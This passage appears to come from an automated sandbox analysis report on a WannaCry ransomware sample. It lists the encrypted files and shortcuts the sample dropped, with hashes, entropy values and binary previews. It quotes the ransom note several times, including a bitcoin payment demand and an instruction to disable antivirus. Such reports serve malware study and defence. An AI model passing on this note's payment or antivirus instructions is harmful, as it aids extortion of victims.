                                    SSDEEP:768:LJZ58ncDyyiyPoy+gocNpOqIeVweKIOqO4CZu1Wj6:LJaByrgyJocN8OAqjCk1I6
                                    MD5:E9AB6742B80A82A583ED0C941B3F05BA
                                    SHA1:502A89DC68248D224EABDC085D05B2B20AA488CC
                                    SHA-256:C03F71254166825FC86F7841C83815A611C6C066767980962AC965541199AACE
                                    SHA-512:2FF1EE6F66097DFE38CE54C62E3D61BDF5EF76C85D19D2B2BEA781C007704995E8C0C8D1650A859B6FA8D8168224C67E88E8EA80945DABF0DAA420C89F3F9836
                                    Malicious:true
                                    Preview:WANACRY!......Ii....)..0...)L.b.......Z..1.....,....L..o.&hK.e...q..,OYmg8.Io....Hz.3...o9.Z..L..B[w?.v>.S../P+......*..M...mG....1AB...f..vk...j..:.+.H.;....*uR.].C....+..lS.=Q>n.R.u..0..+...G..CS....5,vQ...^..6..?......n..\...?X.+n.V.Q...w....%.s.+.J?|u...g.....p.........3.x..(.u..@z..0........j.a......xV..U.&.?....W].Xq..:q.o%....!....3C..O0&7..Y...K.4h.q..lv:..G.6.T...<..=....1...s........Mb..<-.sL..H..'..C..z.&G.].....DQ6:+}.x...y......j.)!.}3D...E..5......e...n%..-.8B.k..?]...&.y......f...Y...c.f..1.7.$.....0..ap..7..Z..P..'X..n.Q..n..%.M?.ag>..jL....!.....S.........|.F2...>..;7.m?.O.Z.6.H;$2O.?].....,.J.7K.9".j.5.....l.(......>..^(~..LH.e.... C...Y....../6.....TV."[......~.Y...8.h.1l..?.EG..._.c;6.3.4...n.Jz?s.9Y....*..,....N.0.'..=o!.,U.....,...f._.C.Rq...T.A2.#TU..........D..P.|.. N+..h..g..h.P..Vqr.-c.<>..G..Uo.....e....{.n.....l....c...5..L....kfF.V.x..:#.....>../...)...L.&R.c..K......p.u...>...N.G...m3..t........=., .'....7.T.`+.uj

                                    C:\ProgramData\Microsoft\Diagnosis\@Please_Read_Me@.txt

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:ASCII text, with CRLF line terminators
                                    Category:dropped
                                    Size (bytes):933
                                    Entropy (8bit):4.710902136409594
                                    Encrypted:false
                                    SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnS4RQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3ChvWmMo+S
                                    MD5:7E6B6DA7C61FCB66F3F30166871DEF5B
                                    SHA1:00F699CF9BBC0308F6E101283ECA15A7C566D4F9
                                    SHA-256:4A25D98C121BB3BD5B54E0B6A5348F7B09966BFFEEC30776E5A731813F05D49E
                                    SHA-512:E5A56137F325904E0C7DE1D0DF38745F733652214F0CDB6EF173FA0743A334F95BED274DF79469E270C9208E6BDC2E6251EF0CDD81AF20FA1897929663E2C7D3
                                    Malicious:false
                                    Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                    C:\ProgramData\Microsoft\Diagnosis\@WanaDecryptor@.exe.lnk

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Thu Jul 25 22:50:30 2024, mtime=Thu Jul 25 22:50:30 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                    Category:dropped
                                    Size (bytes):580
                                    Entropy (8bit):5.1602313887772375
                                    Encrypted:false
                                    SSDEEP:12:8ORypzYNbQthdUoTAjAtNo9UNlpKJ2JzBmV:8ORBq9UAJlpKJ2Jtm
                                    MD5:E56DDAF80E047E701D2E3E291DA97217
                                    SHA1:FF3DE5A812301977F3F06321805CE59D7D19A1A6
                                    SHA-256:46615DA1D754A5FB40E04B1A9E5CD51D71958AFA9D87EFE674CCAC66354A6706
                                    SHA-512:B0269A491C82F918E9F0AC3E1877B0C5F0697C0D4F51B080CA036CF34036EBC8FFEC75DD2551D2CFB40DC8B7CA1429E7EF93D69C53CA70B7957CD64A5E4EAA6D
                                    Malicious:false
                                    Preview:L..................F.... ....n.n.....n.n.....`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&........*_...B,Ho......`o......t.2......J.2 .@WANAD~1.EXE..X.......XP..XP......=........................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......]...............-.......\...........'q.......C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......701188...........hT..CrF.f4... ..../Tc...,......hT..CrF.f4... ..../Tc...,......E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

                                    C:\ProgramData\Microsoft\Diagnosis\EventStore.db.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):106776
                                    Entropy (8bit):7.998091958777059
                                    Encrypted:true
                                    SSDEEP:1536:nFkDDIKbH/CeNdGLEmcuVLHSMC3Hq7uKy97QKs+nAAEu1SWDiAyvg+GUjkoAKt:nGlfTQLZi3HsyJAAEuESUww
                                    MD5:B93CA3788A93D94E53BA38A85E291541
                                    SHA1:AA7991DA4764B7CAFDB5150CD83185C242A6B38B
                                    SHA-256:90EB0AF6CCD1BB70F668B01B8D446805AF80535914B554B95120E557BB387901
                                    SHA-512:DAF09B9C5DFABE9A343F1A92F1664FF14188D9FD4A912470587C7A0EB6C970252FE1AFFDE5DF5499DD5BE5B659A81C59D9C4EFD9B04F29DD3B63E851E563CC7E
                                    Malicious:true
                                    Preview:WANACRY!......... A....p...sy...'&...V.k.7....~....b..?&t.$.q..+...S9...q0r..B.}...$}...[;.P...3..].:..]..a....}...Q)...z....8.Q.'..@5......*h..a....:z..&......2.5..\......-.5...#.k.r.....R....1..f.|...+."Z.F...#j..F.U.QeN.......8.4.......~p...+..... ...F.................K...^kps./.5B|.CV.8.l.Ps.hv.5v88.Ivh.\.-.*..i.K..B....*...M..r..#.'(....YD........|Z....h..m.d._.X....".~I.B...V.c.0........L.....=ZF...5oa...q(...K.,......"X..........G.............~....)...N5]..<.p....h..$...t...x.........G....)...4....B.o.XP.(.]%.....l..m.j....k......p(.]:@.-$.BzbiJ....[......9..r...6.+9.......*....Ws.h}.n"g.GbKKC,q..[F.K..3).s...j.6q....I......|..Y......gvD...`.xB3..q.A.>@!e.@.P...0X8,B93.X.2e@|[ >..9.BK.w.}.l....)^5.2xL.NM..O.?.b..!Q..B..0...n.......z..#ZW.u.9.....I...hH.eZ.%..._..G.2q.}.....D.....\r...d.C...HW3..2?..W8&...$...\...o.;b..*..5Z.\....OU.n.Ce%...Bk...7..z.w..O.{.......z.8}..[.c$..nL..B..R7...O}.[.zh..Nw.O.da..Wh.3.1xm...S..[.......B.d

                                    C:\ProgramData\Microsoft\Diagnosis\ScenariosSqlStore\@Please_Read_Me@.txt

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:ASCII text, with CRLF line terminators
                                    Category:dropped
                                    Size (bytes):933
                                    Entropy (8bit):4.710902136409594
                                    Encrypted:false
                                    SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnS4RQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3ChvWmMo+S
                                    MD5:7E6B6DA7C61FCB66F3F30166871DEF5B
                                    SHA1:00F699CF9BBC0308F6E101283ECA15A7C566D4F9
                                    SHA-256:4A25D98C121BB3BD5B54E0B6A5348F7B09966BFFEEC30776E5A731813F05D49E
                                    SHA-512:E5A56137F325904E0C7DE1D0DF38745F733652214F0CDB6EF173FA0743A334F95BED274DF79469E270C9208E6BDC2E6251EF0CDD81AF20FA1897929663E2C7D3
                                    Malicious:false
                                    Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                    C:\ProgramData\Microsoft\Diagnosis\ScenariosSqlStore\@WanaDecryptor@.exe.lnk

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Thu Jul 25 22:50:30 2024, mtime=Thu Jul 25 22:50:30 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                    Category:dropped
                                    Size (bytes):580
                                    Entropy (8bit):5.1602313887772375
                                    Encrypted:false
                                    SSDEEP:12:8ORypzYNbQthdUoTAjAtNo9UNlpKJ2JzBmV:8ORBq9UAJlpKJ2Jtm
                                    MD5:E56DDAF80E047E701D2E3E291DA97217
                                    SHA1:FF3DE5A812301977F3F06321805CE59D7D19A1A6
                                    SHA-256:46615DA1D754A5FB40E04B1A9E5CD51D71958AFA9D87EFE674CCAC66354A6706
                                    SHA-512:B0269A491C82F918E9F0AC3E1877B0C5F0697C0D4F51B080CA036CF34036EBC8FFEC75DD2551D2CFB40DC8B7CA1429E7EF93D69C53CA70B7957CD64A5E4EAA6D
                                    Malicious:false
                                    Preview:L..................F.... ....n.n.....n.n.....`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&........*_...B,Ho......`o......t.2......J.2 .@WANAD~1.EXE..X.......XP..XP......=........................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......]...............-.......\...........'q.......C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......701188...........hT..CrF.f4... ..../Tc...,......hT..CrF.f4... ..../Tc...,......E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

                                    C:\ProgramData\Microsoft\Diagnosis\ScenariosSqlStore\EventStore.db.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):33048
                                    Entropy (8bit):7.994247071381057
                                    Encrypted:true
                                    SSDEEP:768:NJSIFbJTO8XbXC+L4olthbF/Q+EN9v/qgHzq1:9FbJTOY5L40J/TG/I
                                    MD5:F54B328754D4009DF964EC0F5CD686F1
                                    SHA1:0AE7647D659F8ED143101AD69C7195F2410FCDDE
                                    SHA-256:E01DD7866226A45889C8718859E99AC73FFE1B4D818830ACC9BF001BA9B09B93
                                    SHA-512:8C6187358D54FD2EC3A8D02F83ECF3284CF0FC90B69ED0307120B7C75276E8BDB82F2178EDDB7A5556D791B44BAB734A9A6899DA3C45D6B77380F2682D8F5D37
                                    Malicious:true
                                    Preview:WANACRY!....R.....R.3..oF,7-..Rb..E...F|.."<+7D...%.w......K.j.i.`..J.Fxn..+..^...D..,7i..*Y.|.Q.....{.0w0.....}.......\.b....>...j...A0.7..>. o..\..@1F.>..o.}.'.q....z. A.'...6.y.|~....}.d..^..c.2.&..y...9wg{.-.H.e.QB.D....t.....mL.Rg..zQ......S...;.............?L..l...g4...<?.9#....cud.(.. ....K..(.w........Bb.......T,.. p.."..E..J@...t....J...c...G:.yO....`.........>....w..vFZ...xmd...n.B..J....?1n.`V.bz...[F..0m.....K..u`]..l.x-0.69.6i-sur.e...$..x.u.lA.-..h7....[...?.....{@w..J#h......`.....5Z..G.2).4.........q...w0.~=.k.Y......",4....D..3..Y\.5`..M..AY.......T....!. .-5uZ...|.M`,.....%......+.91...3...)<E....!.....g.....W...G%.E..{8.....*.:<.....m.?..7..G;..y....;g..c..mi..oZX..>..8..{MN..a...?.7........)s.Z.&......]..en!E.*....^.l...e..O4.L.-.).v.c..../..v..[.L^.f..A.....2:......]y.....L.!.|.....7.......l=|..U.l3gf_'...._Y.58 F;..j.P4..y...HPy...Va..Z.5...5.T.m.C.....%.o]o.Q..d.h.5...i.=....\E..>...&...^..N.st..Jz.;....>.....

                                    C:\ProgramData\Microsoft\Diagnosis\TenantStorage\P-ARIA\EventStore.db.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):28952
                                    Entropy (8bit):7.994211586565561
                                    Encrypted:true
                                    SSDEEP:384:uXweHfLFB0Zy7C+8JmUysu2GSbonw0CO9Hq5EYaKfg/17ax2z6YpY:awezL0ZyjUysonwHOhKs17axXYpY
                                    MD5:CF591FE96147899B9DF5597B9C8C59F4
                                    SHA1:0E7281450A35E10D740227A1ACEE2CF9E91BEF3B
                                    SHA-256:6FA9993E33F7414BBF43A5D0A733DC7E992089AE80087C43574857C6553B0700
                                    SHA-512:BF648DE8F10130BF8BFBA9DA211970781C47E40387AE1C0701D96EFF4E05500A7BC9549168AD7CAF10372C68C2E09D3B98463E0B7BE5A22948676BAAEA3EF29B
                                    Malicious:true
                                    Preview:WANACRY!....]...t!.w,L#....*^..dP.N*.n....j.y.t.vr...M.H.!m.l.ty!@$.".C......<...t3/.^U..?....B]9..c.p.p(....:YyI;n.]~U ...,..j:....r4.....:2.aM6....&.!.{Q.....].S.?.)..{/..&..`.qx.:..Y...K...y..j..2,.U.].E..pLC!g@Dm9..&.Z.........E.9...g......D*...f.f<......p.......xq.V...fAk....l..).P.-.6...sx#.&.V.t.-.^~j].V...N".?._.."T.9....F.4...az.|..!.$[ .(.......B.....X.<.Q...<............l..o5ck.U.i &.$z.Eq....%P|...Y.P..v..C.$.t; B..<.a...:....C..L%...H......B....4s..Kn.....n9.Z@...;>.2....2......+.F.k.....53..!{+.7}.e.....T)..,.U.......s..6j.7..m..Y9...d..F.....F...;D...].62.g...<{J.z......G..g.]....^..l..B]......R.....'.7~[..`.'...R.,.............U`....9E..... .;.>..9%...>...g.=];......*..I..~g.....2@U2.:....S......n..^..)..yY...1C'....t,W...>.........M........f....=..`.U..EX.X....[.`bqe...b^^F.h....k....Se.2......... X.I..'..!..7...;....p..2.2..)'*i{g.....U...?.*.....3.y8.gL...6.6.T..L..bW..?........-e.n.\..-\.VM..d.........n..M.Pa

                                    C:\ProgramData\Microsoft\Network\Downloader\@Please_Read_Me@.txt

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:ASCII text, with CRLF line terminators
                                    Category:dropped
                                    Size (bytes):933
                                    Entropy (8bit):4.710902136409594
                                    Encrypted:false
                                    SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnS4RQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3ChvWmMo+S
                                    MD5:7E6B6DA7C61FCB66F3F30166871DEF5B
                                    SHA1:00F699CF9BBC0308F6E101283ECA15A7C566D4F9
                                    SHA-256:4A25D98C121BB3BD5B54E0B6A5348F7B09966BFFEEC30776E5A731813F05D49E
                                    SHA-512:E5A56137F325904E0C7DE1D0DF38745F733652214F0CDB6EF173FA0743A334F95BED274DF79469E270C9208E6BDC2E6251EF0CDD81AF20FA1897929663E2C7D3
                                    Malicious:false
                                    Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                    C:\ProgramData\Microsoft\Network\Downloader\@WanaDecryptor@.exe.lnk

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Thu Jul 25 22:50:30 2024, mtime=Thu Jul 25 22:50:30 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                    Category:dropped
                                    Size (bytes):580
                                    Entropy (8bit):5.1602313887772375
                                    Encrypted:false
                                    SSDEEP:12:8ORypzYNbQthdUoTAjAtNo9UNlpKJ2JzBmV:8ORBq9UAJlpKJ2Jtm
                                    MD5:E56DDAF80E047E701D2E3E291DA97217
                                    SHA1:FF3DE5A812301977F3F06321805CE59D7D19A1A6
                                    SHA-256:46615DA1D754A5FB40E04B1A9E5CD51D71958AFA9D87EFE674CCAC66354A6706
                                    SHA-512:B0269A491C82F918E9F0AC3E1877B0C5F0697C0D4F51B080CA036CF34036EBC8FFEC75DD2551D2CFB40DC8B7CA1429E7EF93D69C53CA70B7957CD64A5E4EAA6D
                                    Malicious:false
                                    Preview:L..................F.... ....n.n.....n.n.....`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&........*_...B,Ho......`o......t.2......J.2 .@WANAD~1.EXE..X.......XP..XP......=........................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......]...............-.......\...........'q.......C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......701188...........hT..CrF.f4... ..../Tc...,......hT..CrF.f4... ..../Tc...,......E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

                                    C:\ProgramData\Microsoft\Network\Downloader\qmgr.db.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1311000
                                    Entropy (8bit):7.999862712541386
                                    Encrypted:true
                                    SSDEEP:24576:uMD0v8ZIChajxx2ygKDiw4qCTAFc4XPZiB4PxAXuUeeXNji8b:Vov8ZICkjLcEoBIAejedi8b
                                    MD5:A0CA29C83E72FB6E0E8F5B241F347A89
                                    SHA1:ED47BB9B3B29544B1875F657138BF2176E469E25
                                    SHA-256:147C48EAC23DA9F418E5E73E9C2D4F0FF75E19B8C581F291696DFC12082A0A70
                                    SHA-512:C58410D12CC412D1DECF2CC32C68F2BE89BD38BB1757345C8CAD757394C017F392F6379C80E1C751FCEC228BABFDD574BF8D3A98CE7457484A774F138D8FFAB0
                                    Malicious:true
                                    Preview:WANACRY!........j.x.#1..[p..vJ...l}.,....6CpG.)..{........Tm.L.=J.6..g..bbt.1....[.0.h....W.....O(.S.m.......3._S.y.ou...M..i.`b.n.{..).U>..^.Ww<....L...3..=.Y.;!..I..{....(..w:.....;P...$.o..Wp.z.......m[]....m....h.....}._.P=.w.........a%.Dap.L...S_.R`.p............w%.FM/...C.y..+...01T._.&.gS.}....biK.b..n..P...R_...=,T..,....U...8..=o(c.2.N.{....w..{..-i..bZt;a.%^..y...I...z.....jNf.y.n.N%"?Vf....C.e.@9.`s%G.y.nqq.}x..L...8...v..>...X.....b.z$>......f.......HS...&..%b./..,+.......2.t<."......v'Y..Z..4.I....|..L..NPq..{.%.....tnK._>.Q.......N..o.:...4P.@U..K;...n.{.......T...*J0Y..../YT3DK.ws...xg-..^..N.[....-..j.6.'u..}..T..>..'N.7.r....7....*..O..L...N..sW3jF..B...QJp._...(........VR...=....Mi..(.=I2.c...#|cq....=b[s....W.[.2.F.;v....j&o.B.Q..2.U l8..Z....S|.t..#[.#.... ..#P..'r..J~..aq.G...U....5.}=v..;.K.~R5..8OJ>=..ha.-...-@s#....$.....=3u.......e.P.tu..<3\..x.....@.X. ..?.q....X.\.......|......./P.p*H.fF.....@..............2...

                                    C:\ProgramData\Microsoft\Search\Data\Applications\Windows\Windows.edb.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):16777496
                                    Entropy (8bit):7.9999890828985825
                                    Encrypted:true
                                    SSDEEP:393216:mBha4luZ7V9nK/oCfJ4iI7KQ3asfkc+axBe1jR837QvjTErB:mPwZp9ns/fJM+Q3afcjx40+e
                                    MD5:D8997ADABAF578B9DBACC56A952A0CCD
                                    SHA1:CB34003917C6F37BAA5CAFC2F1CC33BA331A808A
                                    SHA-256:B78A2BF012C5B8419EF591BBC9204E97232BCD8363AD7915B0BBBD9BF700FAAF
                                    SHA-512:ADB8FA790B7048210E145B764F7BE71F306A531576FDD1D9252146C9DA2495992C0ACCFF96255FDF950979F5BCBB5C7D7013FE6AA2F369BB28A6739CA5B3729C
                                    Malicious:true
                                    Preview:WANACRY!.......{".......m................o.}..C.....o&ha.K.Xp...{Y...}..B....e...5l>..(..aS.=.....].5l.C.qp...`.......m.G..........l"{.\1...\.<) .!..~..~..4..$.......R.luz..D..|....../..2................$Bu.n'.....{.....f..l.od......<..'..u).Q.....'..............+3...9*...[.z......s~..!"..J:dz.\sZ.S...5..B.F..(.T......Z....}......>..X.#+..N.S8..W.]S5X..q.~-....y....I..)p.....ax...(.Pd......T.fHp7..ui..w,c(.uz..uO..j.N&\.i..E....,...W7......."w^.r....Q<.T.,.Q...SI:S..t.S..x..57.....D(....kS..m..{..<X.1.+./JP......v?..'Gi.S.q}H`.g. ."8Q..q.DO?...\.y......P.WN..Q..b!..>.eB..^^.;R........R..v[.[..#...l......+...../.O..dH..7.z.)...._375mB.|E.z.n..Kj.0*1A...*...qYLXT0.!B.S.....P....P....2.K...*5..5.U.7;...4/YZ....w...q.h.".W..T#..M.. .\..]..m;...FI......f....q.e"@.kQ.n......m0;.MdL.la.....G2....;....1....."mv.N..?...7>.N.ih..9.j.#........N_.....So.i.........lW...Rk>....~|9..s..[.+.;.......e#..!......z .4....(.9..=.'}.....~W.._L.H....J.

                                    C:\ProgramData\Microsoft\Search\Data\Applications\Windows\tmp.edb.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):164120
                                    Entropy (8bit):7.998892722002756
                                    Encrypted:true
                                    SSDEEP:3072:vO6MGGhqaAec26JklTtkYh2hW1t46/wxyM+cDcf1SXzaBFGeV2eQx1mPyy/k3:vaHbNSGo64EkJcf1ozaB6x1rt
                                    MD5:6BAA99B2B94426760D3599E9B9211A60
                                    SHA1:6C961EAD0197DC33338D080C66CDFC13A959C904
                                    SHA-256:A0A15CD870F86D9794EFDFAE9E3CA15CA9ECAF5B4804184128756E21678CD50D
                                    SHA-512:D0F80681E4FCEBFD831AF698DFD6812BA77B482849F35F6E8B45BCB938BB0C51919DC0555C1E1E323EB48943739BE5BC8AAF56492D254F994DB8EEDEBC61235B
                                    Malicious:true
                                    Preview:WANACRY!.....R...l.=....z...Z`...._N........H._.e9. :Lw.q..k..Q.6.M.........73.X..W....7..;..'.B.....Ayummu9..p|p....Z...a.Z....qd3...%gW.S..K....3.M.aGx..r.T.">..._.v.w...R.E..uS.J/..u......-...N..%.>T..V.~w.( ..+D..R.....`.....f.1..........9................9k..|.b.C`.lzgX2..!.Bs..go.^.R..+.y.I.e.ne.......K&>C.........A...T..{.`:p.7..1.-...%....(7L....{.km.[.....?.<.\f..y.....T~.jjm......|..*/r.0..u.Z]J,!\..J@f.TLLU.........Cu.H.g.g..TY.u8:.$X..ZT,7.3G...m..q..V.4...."....."..Y.;r.vj.0{.x?*G..Fs....m....fH...M....i..n&j...!..K.N./..Gd."..m.....R_..!.Y.C.yFs...?......d9....D..o.....=.M.%....t..+...}.o....x+....e.....4..=. ..U...V.U&.s......$......K=....0i..b.....T.i,.$$...<.3....M_.E.....Ak..WW.>7.yk.(p..k&..x..jk.kxs...u}.?.K..h.N...T}.....=E3.W.c......~p.V2#6..Ms...&".w.Qh.0X...-s..H|b...|U.^.taV|,....<#.....g..QM.wW..N"......XG..a..s.L(...%/....H.C..on.'.N.x2@........g<..I[....<?:h..5V.....Q./..r..|.-.......,..].f.X.X..O..-^.....

                                    C:\ProgramData\Microsoft\SmsRouter\MessageStore\@Please_Read_Me@.txt

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:ASCII text, with CRLF line terminators
                                    Category:dropped
                                    Size (bytes):933
                                    Entropy (8bit):4.710902136409594
                                    Encrypted:false
                                    SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnS4RQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3ChvWmMo+S
                                    MD5:7E6B6DA7C61FCB66F3F30166871DEF5B
                                    SHA1:00F699CF9BBC0308F6E101283ECA15A7C566D4F9
                                    SHA-256:4A25D98C121BB3BD5B54E0B6A5348F7B09966BFFEEC30776E5A731813F05D49E
                                    SHA-512:E5A56137F325904E0C7DE1D0DF38745F733652214F0CDB6EF173FA0743A334F95BED274DF79469E270C9208E6BDC2E6251EF0CDD81AF20FA1897929663E2C7D3
                                    Malicious:false
                                    Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                    C:\ProgramData\Microsoft\SmsRouter\MessageStore\@WanaDecryptor@.exe.lnk

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Thu Jul 25 22:50:30 2024, mtime=Thu Jul 25 22:50:30 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                    Category:dropped
                                    Size (bytes):580
                                    Entropy (8bit):5.1602313887772375
                                    Encrypted:false
                                    SSDEEP:12:8ORypzYNbQthdUoTAjAtNo9UNlpKJ2JzBmV:8ORBq9UAJlpKJ2Jtm
                                    MD5:E56DDAF80E047E701D2E3E291DA97217
                                    SHA1:FF3DE5A812301977F3F06321805CE59D7D19A1A6
                                    SHA-256:46615DA1D754A5FB40E04B1A9E5CD51D71958AFA9D87EFE674CCAC66354A6706
                                    SHA-512:B0269A491C82F918E9F0AC3E1877B0C5F0697C0D4F51B080CA036CF34036EBC8FFEC75DD2551D2CFB40DC8B7CA1429E7EF93D69C53CA70B7957CD64A5E4EAA6D
                                    Malicious:false
                                    Preview:L..................F.... ....n.n.....n.n.....`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&........*_...B,Ho......`o......t.2......J.2 .@WANAD~1.EXE..X.......XP..XP......=........................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......]...............-.......\...........'q.......C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......701188...........hT..CrF.f4... ..../Tc...,......hT..CrF.f4... ..../Tc...,......E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

                                    C:\ProgramData\Microsoft\SmsRouter\MessageStore\SmsInterceptStore.db.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):196888
                                    Entropy (8bit):7.999051465375296
                                    Encrypted:true
                                    SSDEEP:6144:gW9PyiuEs7nt28C6M8gqVovBo76dHNjk9/:gW9aEe225IsQHNj+/
                                    MD5:1ED2488061D0E88AF96220CAC787C01C
                                    SHA1:05780AFC7958D62D91FB9F9501EE7DDB43266A2A
                                    SHA-256:FB0B75C253F71F20FEAAF1B80CA7C8D80E4DF08A4835F4C387A80FA9723D32D4
